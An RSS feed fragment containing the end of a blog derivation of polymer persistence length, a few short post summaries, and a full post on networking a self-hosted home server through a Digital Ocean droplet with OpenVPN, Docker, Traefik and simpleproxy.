&lt;p&gt;&lt;img alt="" src="https://rachitsingh.com/correlation_1.png#smaller" title="The tangent vectors in a specific coordinate frame. We use A, B, C as labels instead of t(A), t(B), t(C)." /&gt;&lt;/p&gt;
&lt;p&gt;We let $\theta_A, \theta_C$ denote the angle between $\mathbf{t}(B)$ and $\mathbf{t}(A), \mathbf{t}(C)$ respectively. $\phi_C$ is the angle between $\mathbf{t}(C)$ and the $x$-axis.&lt;/p&gt;
&lt;p&gt;Then, from the regular inner product in this coordinate system we can see that:&lt;/p&gt;
&lt;div&gt;
$$\mathbf{t}(A) \cdot \mathbf{t}(C) = \underbrace{\cos \theta_A \cos \theta_C}_{z-\text{axis}} + \underbrace{\sin \theta_A \sin \theta_C \cos \phi_C}_{x-\text{axis}} + \underbrace{0}_{y-\text{axis}}$$
&lt;/div&gt;
&lt;p&gt;We want to find the expected value of this quantity (which is a random variable in $A, C$, since we fix $B$ under the Boltzmann distribution:&lt;/p&gt;
&lt;div&gt;
$$\langle\mathbf{t}(A) \cdot \mathbf{t}(C)\rangle = \int_{0}^{2\pi} \int_0^\pi \int_0^{\pi} \left(\cos \theta_A \cos \theta_C + \sin \theta_A \sin \theta_C \cos \phi_C\right) e^{-E(\theta_A, \theta_C)/k_BT} d\theta_A d\theta_C d\phi_C$$
&lt;/div&gt;
&lt;p&gt;The argument Nelson makes is that since the energy isn't dependent on $\phi_C$ (since the only thing that matters is the bend off $\mathbf{t}(B)$), we can factor the second term in the integral as:&lt;/p&gt;
&lt;div&gt;
$$\int_{0}^{\pi} \int_0^\pi \sin \theta_A \sin \theta_C \cdot e^{-E(\theta_A, \theta_C)/k_BT} \left(\int_0^{2\pi} \cos \phi_C  d\phi_C\right) d\theta_A d\theta_C $$
&lt;/div&gt;
&lt;p&gt;But the integral on the inside is 0, so that term vanishes. Next, we should note that $E(\theta_A, \theta_C)$ can be decomposed as $E(\theta_A) + E(\theta_B)$. This comes from the form of the integral as an integration with respect to $\operatorname{d}s$. Essentially:&lt;/p&gt;
&lt;div&gt;
$$\int_A^C dE = \int_A^B dE + \int_B^C dE$$
&lt;/div&gt;
&lt;p&gt;So we can write:&lt;/p&gt;
&lt;div&gt;
$$
\begin{aligned}
\langle\mathbf{t}(A) \cdot \mathbf{t}(C)\rangle &amp;= \int_0^\pi \int_0^\pi \cos \theta_A \cos \theta_C e^{-E(\theta_A, \theta_C)/k_BT} d\theta_C d\theta_A \\
&amp;= \int_0^\pi \cos \theta_A e^{-E(\theta_A)/k_BT} d\theta_A \int_0^\pi \cos \theta_C e^{-E(\theta_A, \theta_C)/k_BT} d\theta_C \\
&amp;= \langle\mathbf{t}(A) \cdot \mathbf{t}(B)\rangle \cdot \langle\mathbf{t}(B) \cdot \mathbf{t}(C)\rangle
\end{aligned}
$$
&lt;/div&gt;
&lt;p&gt;From here, it's we can apply the &lt;a href="https://en.wikipedia.org/wiki/Cauchy%27s_functional_equation"&gt;Cauchy function equation&lt;/a&gt; (the correlation is bounded) to get that the correlation should be exponentially decaying. The computation of that scalar factor is well-handled both by Nelson and Physical Biology of the Cell, so I won't reproduce it here.&lt;/p&gt;
&lt;h2 id="tldr"&gt;tldr&lt;/h2&gt;
&lt;p&gt;The factorization of correlation comes implicitly from:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;the fact that in 3 dimensions we only care about the deviation from the central axis, with $$\cos(\theta_A + \theta_C) = \cos(\theta_A)\cos(\theta_C) + (\text{stuff that dies}\ldots)$$, and&lt;/li&gt;
&lt;li&gt;the energy splits because of independence of the chain, and that means the probability distribution factors.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;References&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Nelson, P. (2008). Biological physics. New York: WH Freeman.&lt;/p&gt;
&lt;footer class="footnotes"&gt;
&lt;ol class="footnotes-list"&gt;
&lt;li id="fn-1"&gt;
&lt;p&gt;I found two clear treatments: one in Nelson's Biophysics (9.1.3 Track 2), which has been on my shelf for 4 years but I still haven't read through the whole thing, and &lt;a href="http://lcvmwww.epfl.ch/teaching/modelling_dna/public_files/Lecture_NotesLp.pdf"&gt;some lecture notes from EPFL&lt;/a&gt;. The latter is more rigorous (and Josh, another student, presented it in class), but I found it kind of annoying that there wasn't a simpler proof. Nelson has a good perspective but doesn't include any drawings, so I've covered it here. &lt;a href="https://rachitsingh.com/persistence-length/#fr-1-1"&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/footer&gt;</description><author>Rachit Singh</author><pubDate>Sun, 22 Apr 2018 17:52:54 GMT</pubDate><guid isPermaLink="true">https://rachitsingh.com/persistence-length/</guid></item><item><title>Gmail's new design will include a 'useless mode'</title><link>https://stop.zona-m.net/2018/04/gmails-new-design-will-include-a-useless-mode/</link><description>&lt;p&gt;Does a new feature give Gmail users control over how emails are used? No. Not really, no (update 2018/05/06: and I found out is even worst than it seemed).&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Sun, 22 Apr 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/gmails-new-design-will-include-a-useless-mode/</guid></item><item><title>A Model of Human Thought: Philosophy</title><link>https://tylerneylon.com/a/thought1/index.html</link><description>What does it mean for something to be true? What can we do to verify that something is true? How can we discover new truths? This article is about a conceptual model of truth that may help answer these questions.</description><author>tylerneylon.com</author><pubDate>Sun, 22 Apr 2018 10:00:00 GMT</pubDate><guid isPermaLink="true">https://tylerneylon.com/a/thought1/index.html</guid></item><item><title>Chatting Up - Part II</title><link>https://trigonaminima.github.io/2018/04/chatting-up-2/</link><description>In this post, I have analyzed my WhatsApp and Facebook chatting data. I have been emailing myself WhatsApp chats regularly, and Facebook chats were a part of the data dump which you can initiate from your account settings. Then I wrote some code to parse the data out and create one consolidated csv of chats.</description><author>Playground</author><pubDate>Sun, 22 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://trigonaminima.github.io/2018/04/chatting-up-2/</guid></item><item><title>Home Server Networking</title><link>https://captnemo.in/blog/2018/04/22/home-server-networking/</link><description>&lt;p&gt;Next in the Home Server series, this post documents how I got the networking setup to
serve content publicly from my under-the-tv server.&lt;/p&gt;

&lt;p&gt;&lt;img alt="Colorful block diagram for the networking setup" src="/img/networking.jpg" /&gt;&lt;/p&gt;

&lt;h2 id="background"&gt;Background&lt;/h2&gt;

&lt;p&gt;My home server runs on a mix of Docker/Traefik orchestrated via Terraform. The source code is
at &lt;a href="https://git.captnemo.in/nemo/nebula"&gt;https://git.captnemo.in/nemo/nebula&lt;/a&gt; (self-hosted, dogfooding FTW!) if you wanna take a look.&lt;/p&gt;

&lt;p&gt;The ISP is ACT Bangalore&lt;sup id="fnref:1"&gt;&lt;a class="footnote" href="#fn:1" rel="footnote"&gt;1&lt;/a&gt;&lt;/sup&gt;. They offer decent bandwidth and I’ve been a customer long time.&lt;/p&gt;

&lt;h2 id="public-static-ip"&gt;Public Static IP&lt;/h2&gt;

&lt;p&gt;In order to host content, you need a stable public IP. Unfortunately, ACT puts all of its customers
in Bangalore behind a NAT &lt;sup id="fnref:2"&gt;&lt;a class="footnote" href="#fn:2" rel="footnote"&gt;2&lt;/a&gt;&lt;/sup&gt;. As a result, I decided to get a &lt;a href="https://www.digitalocean.com/community/tutorials/how-to-use-floating-ips-on-digitalocean"&gt;Floating IP from Digital Ocean&lt;/a&gt; &lt;sup id="fnref:3"&gt;&lt;a class="footnote" href="#fn:3" rel="footnote"&gt;3&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;The Static IP is attached to a cheap Digital Ocean Droplet (10$/mo). If you resolve &lt;code class="language-plaintext highlighter-rouge"&gt;bb8.fun&lt;/code&gt;, this is the IP you will get:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Name:   bb8.fun
Address: 139.59.48.222
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The droplet has a public static IP of it’s own as well: &lt;code class="language-plaintext highlighter-rouge"&gt;139.59.22.234&lt;/code&gt;. The reason I picked a Floating IP is because DO gives them for free, and I can switch between instances later without worrying about it.&lt;/p&gt;

&lt;h2 id="floating-ip"&gt;Floating IP&lt;/h2&gt;

&lt;p&gt;On the Digital Ocean infrastructure side, this IP is not directly attached to an interface on your droplet. Instead,
DO uses something called “Anchor IP”:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Network traffic between a Floating IP and a Droplet flows through an anchor IP, which is an IP address aliased to the Droplet’s public network interface (eth0). You should bind any public services that you want to make highly available through a Floating IP to the anchor IP.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, now my Droplet has 2 different IPs that I can use:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Droplet Public IP (&lt;code class="language-plaintext highlighter-rouge"&gt;139.59.22.234&lt;/code&gt;), assigned directly to the &lt;code class="language-plaintext highlighter-rouge"&gt;eth0&lt;/code&gt; interface.&lt;/li&gt;
  &lt;li&gt;Droplet Anchor IP (&lt;code class="language-plaintext highlighter-rouge"&gt;10.47.0.5&lt;/code&gt;), setup as an alias to the &lt;code class="language-plaintext highlighter-rouge"&gt;eth0&lt;/code&gt; interface.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This doubles the number of services I can listen to. I could have (for eg) - 2 different webservers
on both of these IPs.&lt;/p&gt;

&lt;h2 id="openvpn"&gt;OpenVPN&lt;/h2&gt;

&lt;p&gt;In order to establish NAT-punching connectivity between the Droplet and the Home Server, I run OpenVPN server
on the Droplet and &lt;code class="language-plaintext highlighter-rouge"&gt;openvpn-client&lt;/code&gt; on the homeserver.&lt;sup id="fnref:4"&gt;&lt;a class="footnote" href="#fn:4" rel="footnote"&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-an-openvpn-server-on-ubuntu-16-04" title="by Justin Ellingwood"&gt;Digital Ocean Guide&lt;/a&gt; is a great resource if you ever have to do this. 2 specific IPs on the OpenVPN
network are marked as static:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Droplet: &lt;code class="language-plaintext highlighter-rouge"&gt;10.8.0.1&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Home Server: &lt;code class="language-plaintext highlighter-rouge"&gt;10.8.0.14&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id="home-server---networking"&gt;Home Server - Networking&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;The server has a private static IP assigned to its &lt;code class="language-plaintext highlighter-rouge"&gt;eth0&lt;/code&gt; interface&lt;/li&gt;
  &lt;li&gt;It also has a private static IP assiged to its &lt;code class="language-plaintext highlighter-rouge"&gt;tun0&lt;/code&gt; interface&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There are primarily 3 kinds of services that I like to run:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Accessible only from within the home network (Timemachine backups, for eg) (Internal). This I publish on the &lt;code class="language-plaintext highlighter-rouge"&gt;eth0&lt;/code&gt; interface.&lt;/li&gt;
  &lt;li&gt;Accessible only from the public internet (Wiki) (Strictly Public). These I publish on the &lt;code class="language-plaintext highlighter-rouge"&gt;tun0&lt;/code&gt; interface and proxy via the droplet.&lt;/li&gt;
  &lt;li&gt;Accessible from both places (Emby, AirSonic) (Public). These I pubish on both &lt;code class="language-plaintext highlighter-rouge"&gt;tun0&lt;/code&gt; and the &lt;code class="language-plaintext highlighter-rouge"&gt;eth0&lt;/code&gt; interface on the homeserver.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id="docker-networking-basics"&gt;Docker Networking Basics&lt;/h2&gt;

&lt;p&gt;Docker runs its own internal network for services, and lets you “publish” these services
by forwarding traffic from a given interface to them.&lt;/p&gt;

&lt;p&gt;In plain docker-cli, this would be:&lt;/p&gt;

&lt;p&gt;&lt;code class="language-plaintext highlighter-rouge"&gt;docker run nginx --publish 443:443,80:80&lt;/code&gt; (forward traffic on 443,80 on all interfaces to the container)&lt;/p&gt;

&lt;p&gt;Since I use Terraform, it looks &lt;a href="https://git.captnemo.in/nemo/nebula/src/branch/master/docker/traefik.tf"&gt;like the following for Traefik&lt;/a&gt;:&lt;/p&gt;

&lt;div class="language-perl highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Admin Backend&lt;/span&gt;
&lt;span class="nv"&gt;ports&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;internal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1111&lt;/span&gt;
  &lt;span class="nv"&gt;external&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1111&lt;/span&gt;
  &lt;span class="nv"&gt;ip&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="si"&gt;${var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="si"&gt;ips&lt;/span&gt;&lt;span class="err"&gt;["&lt;/span&gt;&lt;span class="si"&gt;eth0&lt;/span&gt;&lt;span class="err"&gt;"]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;ports&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;internal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1111&lt;/span&gt;
  &lt;span class="nv"&gt;external&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1111&lt;/span&gt;
  &lt;span class="nv"&gt;ip&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="si"&gt;${var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="si"&gt;ips&lt;/span&gt;&lt;span class="err"&gt;["&lt;/span&gt;&lt;span class="si"&gt;tun0&lt;/span&gt;&lt;span class="err"&gt;"]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Local Web Server&lt;/span&gt;
&lt;span class="nv"&gt;ports&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;internal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
  &lt;span class="nv"&gt;external&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
  &lt;span class="nv"&gt;ip&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="si"&gt;${var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="si"&gt;ips&lt;/span&gt;&lt;span class="err"&gt;["&lt;/span&gt;&lt;span class="si"&gt;eth0&lt;/span&gt;&lt;span class="err"&gt;"]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Local Web Server (HTTPS)&lt;/span&gt;
&lt;span class="nv"&gt;ports&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;internal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
  &lt;span class="nv"&gt;external&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
  &lt;span class="nv"&gt;ip&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="si"&gt;${var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="si"&gt;ips&lt;/span&gt;&lt;span class="err"&gt;["&lt;/span&gt;&lt;span class="si"&gt;eth0&lt;/span&gt;&lt;span class="err"&gt;"]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;# Proxied via sydney.captnemo.in&lt;/span&gt;
&lt;span class="nv"&gt;ports&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;internal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
  &lt;span class="nv"&gt;external&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;443&lt;/span&gt;
  &lt;span class="nv"&gt;ip&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="si"&gt;${var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="si"&gt;ips&lt;/span&gt;&lt;span class="err"&gt;["&lt;/span&gt;&lt;span class="si"&gt;tun0&lt;/span&gt;&lt;span class="err"&gt;"]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;ports&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;internal&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
  &lt;span class="nv"&gt;external&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt;
  &lt;span class="nv"&gt;ip&lt;/span&gt;       &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;"&lt;/span&gt;&lt;span class="si"&gt;${var&lt;/span&gt;&lt;span class="err"&gt;.&lt;/span&gt;&lt;span class="si"&gt;ips&lt;/span&gt;&lt;span class="err"&gt;["&lt;/span&gt;&lt;span class="si"&gt;tun0&lt;/span&gt;&lt;span class="err"&gt;"]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="p"&gt;"&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There are 3 “services” exposed by Traefik on 3 ports:&lt;/p&gt;

&lt;dl&gt;
  &lt;dt&gt;Traefik Admin Interface&lt;/dt&gt;
  &lt;dd&gt;Useful for debugging. I leave this in Read-Only mode with no authentication. This is an &lt;em&gt;Internal&lt;/em&gt; service&lt;/dd&gt;
  &lt;dt&gt;HTTP, Port 80&lt;/dt&gt;
  &lt;dd&gt;This redirects users to the next entrypoint (HTTPS). This is a &lt;em&gt;Public&lt;/em&gt; service.&lt;/dd&gt;
  &lt;dt&gt;HTTPS, Port 443&lt;/dt&gt;
  &lt;dd&gt;This is where most of the traefik flows. This is a &lt;em&gt;Public&lt;/em&gt; service.&lt;/dd&gt;
&lt;/dl&gt;

&lt;p&gt;For all 3 of the above, Docker forwards traffic from both OpenVPN, as well as the home network. OpenVPN lets me access this from my laptop when I’m not at home, which is helpful for debugging issues. However, to keep the Admin Interface internal, it is not published to the internet.&lt;/p&gt;

&lt;h1 id="internet-access"&gt;Internet Access&lt;/h1&gt;

&lt;p&gt;The “bridge” between the Floating IP and the OpenVPN IP (both on the Digital Ocean droplet) is &lt;code class="language-plaintext highlighter-rouge"&gt;simpleproxy&lt;/code&gt;. It is a &lt;a href="https://github.com/vzaliva/simpleproxy"&gt;barely-maintained 200 line TCP-proxy&lt;/a&gt;. I picked it up because of its ease of use as a TCP Proxy. I specifically looked for a TCP Proxy because:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;I did not want to terminate SSL on Digital Ocean, since Traefik was already doing LetsEncrypt cert management for me&lt;/li&gt;
  &lt;li&gt;I also wanted to proxy non-web services (more below).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The simpleproxy configuration consists of a few systemd units:&lt;/p&gt;

&lt;div class="language-ini highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="nn"&gt;[Service]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="py"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;simple&lt;/span&gt;
&lt;span class="py"&gt;WorkingDirectory&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/tmp&lt;/span&gt;
&lt;span class="c"&gt;# Forward Anchor IP 80 -&amp;gt; Home Server VPN 80
&lt;/span&gt;&lt;span class="py"&gt;ExecStart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/simpleproxy -L 10.47.0.5:80 -R 10.8.0.14:80&lt;/span&gt;
&lt;span class="py"&gt;Restart&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;on-abort&lt;/span&gt;
&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nn"&gt;[Install]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="py"&gt;WantedBy&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi-user.target&lt;/span&gt;
&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="nn"&gt;[Unit]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="py"&gt;Description&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;Simple Proxy&lt;/span&gt;
&lt;span class="py"&gt;After&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;network.target&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I run 3 of these: 2 for HTTP/HTTPS, and another one for SSH.&lt;/p&gt;

&lt;p&gt;While I use simpleproxy for its stability and simplicity, you could also use iptables to
achieve the same result.&lt;/p&gt;

&lt;h1 id="ssh-tunelling"&gt;SSH Tunelling&lt;/h1&gt;

&lt;p&gt;When I’m on the go, there are 3 different SSH services I might need:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Digital Ocean Droplet&lt;/li&gt;
  &lt;li&gt;Home Server&lt;/li&gt;
  &lt;li&gt;Git (&lt;code class="language-plaintext highlighter-rouge"&gt;gitea&lt;/code&gt; runs its own internal git server)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;My initial plan was:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Forward Port 22 Floating IP Traffic to Gitea.&lt;/li&gt;
  &lt;li&gt;Use the &lt;code class="language-plaintext highlighter-rouge"&gt;eth0&lt;/code&gt; interface on the droplet to run the droplet &lt;code class="language-plaintext highlighter-rouge"&gt;sshd&lt;/code&gt; service.&lt;/li&gt;
  &lt;li&gt;Keep the Home Server SSH forwarded to OpenVPN, so I can access it over the VPN network.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Unfortunately, that didn’t work out well, because &lt;code class="language-plaintext highlighter-rouge"&gt;sshd&lt;/code&gt; &lt;a href="https://serverfault.com/questions/605446/make-sshd-listen-to-a-specific-interface"&gt;doesn’t support listening on an Interface&lt;/a&gt;. I could have used the Public Droplet IP, but I didn’t like the idea.&lt;/p&gt;

&lt;p&gt;The current setup instead involves:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Running the droplet &lt;code class="language-plaintext highlighter-rouge"&gt;sshd&lt;/code&gt; on a separate port entirely (2222).&lt;/li&gt;
  &lt;li&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;simpleproxy&lt;/code&gt; service forwarding port 22 traefik to 2222 on OpenVPN IP which is then published by Docker to the &lt;code class="language-plaintext highlighter-rouge"&gt;gitea&lt;/code&gt; container’s port 22.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://git.captnemo.in/nemo/nebula/src/branch/master/docker/conf/traefik.toml"&gt;The complete traefik configuration&lt;/a&gt; is also available if you wanna look at the entrypoints in detail.&lt;/p&gt;

&lt;h1 id="caveats"&gt;Caveats&lt;/h1&gt;

&lt;h2 id="traefik-public-access"&gt;Traefik Public Access&lt;/h2&gt;

&lt;p&gt;You might have noticed that because &lt;code class="language-plaintext highlighter-rouge"&gt;traefik&lt;/code&gt; is listening on both &lt;code class="language-plaintext highlighter-rouge"&gt;eth0&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;tun0&lt;/code&gt;, there is no guarantee of a “strictly internal” service via Traefik. Traefik just uses the Host headers in the request (or SNI) to determine the container to which it needs to forward the request. I use &lt;code class="language-plaintext highlighter-rouge"&gt;*.in.bb8.fun&lt;/code&gt; for internaly accessible services, and &lt;code class="language-plaintext highlighter-rouge"&gt;*.bb8.fun&lt;/code&gt; for public. But if someone decides to spoof the headers, they can access the Internal service.&lt;/p&gt;

&lt;p&gt;Since I’m aware of the risk, I do not publish anything via traefik that I’m not comfortable putting on the internet. Only a couple of services are marked as “internal-also”, and are published on both. Services like Prometheus are not published via Traefik.&lt;/p&gt;

&lt;h2 id="2-servers"&gt;2 Servers&lt;/h2&gt;

&lt;p&gt;Running and managing 2 servers takes a bit more effort, and has more moving parts.
But I use the droplet for other tasks as well (running my &lt;a href="https://captnemo.in/dnscrypt/"&gt;DNSCrypt Server&lt;/a&gt;, for eg).&lt;/p&gt;

&lt;h2 id="original-ip-address"&gt;Original IP Address&lt;/h2&gt;

&lt;p&gt;Since SimpleProxy does not support the &lt;a href="https://www.haproxy.org/download/1.8/doc/proxy-protocol.txt"&gt;Proxy Protocol&lt;/a&gt;,
both Traefik and Gitea/SSH servers don’t get informed about the original IP Address. I plan to fix that by switching to HAProxy TCP-mode.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;If you’re interested in my &lt;a href="/setup/homeserver/"&gt;self-hosting setup&lt;/a&gt;, I’m using Terraform + Docker, the code is hosted on &lt;a href="https://git.captnemo.in/nemo/nebula/"&gt;the same server&lt;/a&gt;, and I’ve been writing about my experience and learnings:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href="/blog/2017/09/17/home-server-build/"&gt;Part 1, Hardware&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/blog/2017/11/09/home-server-update/"&gt;Part 2, Terraform/Docker&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/blog/2017/12/18/home-server-learnings/"&gt;Part 3, Learnings&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/blog/2017/12/31/migrating-from-google/"&gt;Part 4, Migrating from Google (and more)&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/blog/2018/04/22/home-server-networking/"&gt;Part 5, Home Server Networking&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href="/blog/2019/02/24/btrfs-raid-device-replacement-story/"&gt;Part 6, btrfs RAID device replacement&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you have any comments, &lt;a href="/contact/"&gt;reach out to me&lt;/a&gt;&lt;/p&gt;

&lt;div class="footnotes"&gt;
  &lt;ol&gt;
    &lt;li id="fn:1"&gt;
      &lt;p&gt;If you get lucky with their customer support, some of the folks I know have a static public IP on their home setup. In my case, they asked me to upgrade to a corporate plan. &lt;a class="reversefootnote" href="#fnref:1"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:2"&gt;
      &lt;p&gt;I once scanned their entire network using &lt;code class="language-plaintext highlighter-rouge"&gt;masscan&lt;/code&gt;. It was fun: &lt;a href="https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775"&gt;https://medium.com/@captn3m0/i-scanned-all-of-act-bangalore-customers-and-the-results-arent-surprising-fecf9d7fe775&lt;/a&gt; &lt;a class="reversefootnote" href="#fnref:2"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:3"&gt;
      &lt;p&gt;AWS calls its “permanent” IP addresses “Elastic” and Digital Ocean calls them “Floating”. We really need better names in this industry. &lt;a class="reversefootnote" href="#fnref:3"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id="fn:4"&gt;
      &lt;p&gt;Migrating to Wireguard is on my list, but I haven’t found any good documentation on running a hub-spoke network so far. &lt;a class="reversefootnote" href="#fnref:4"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
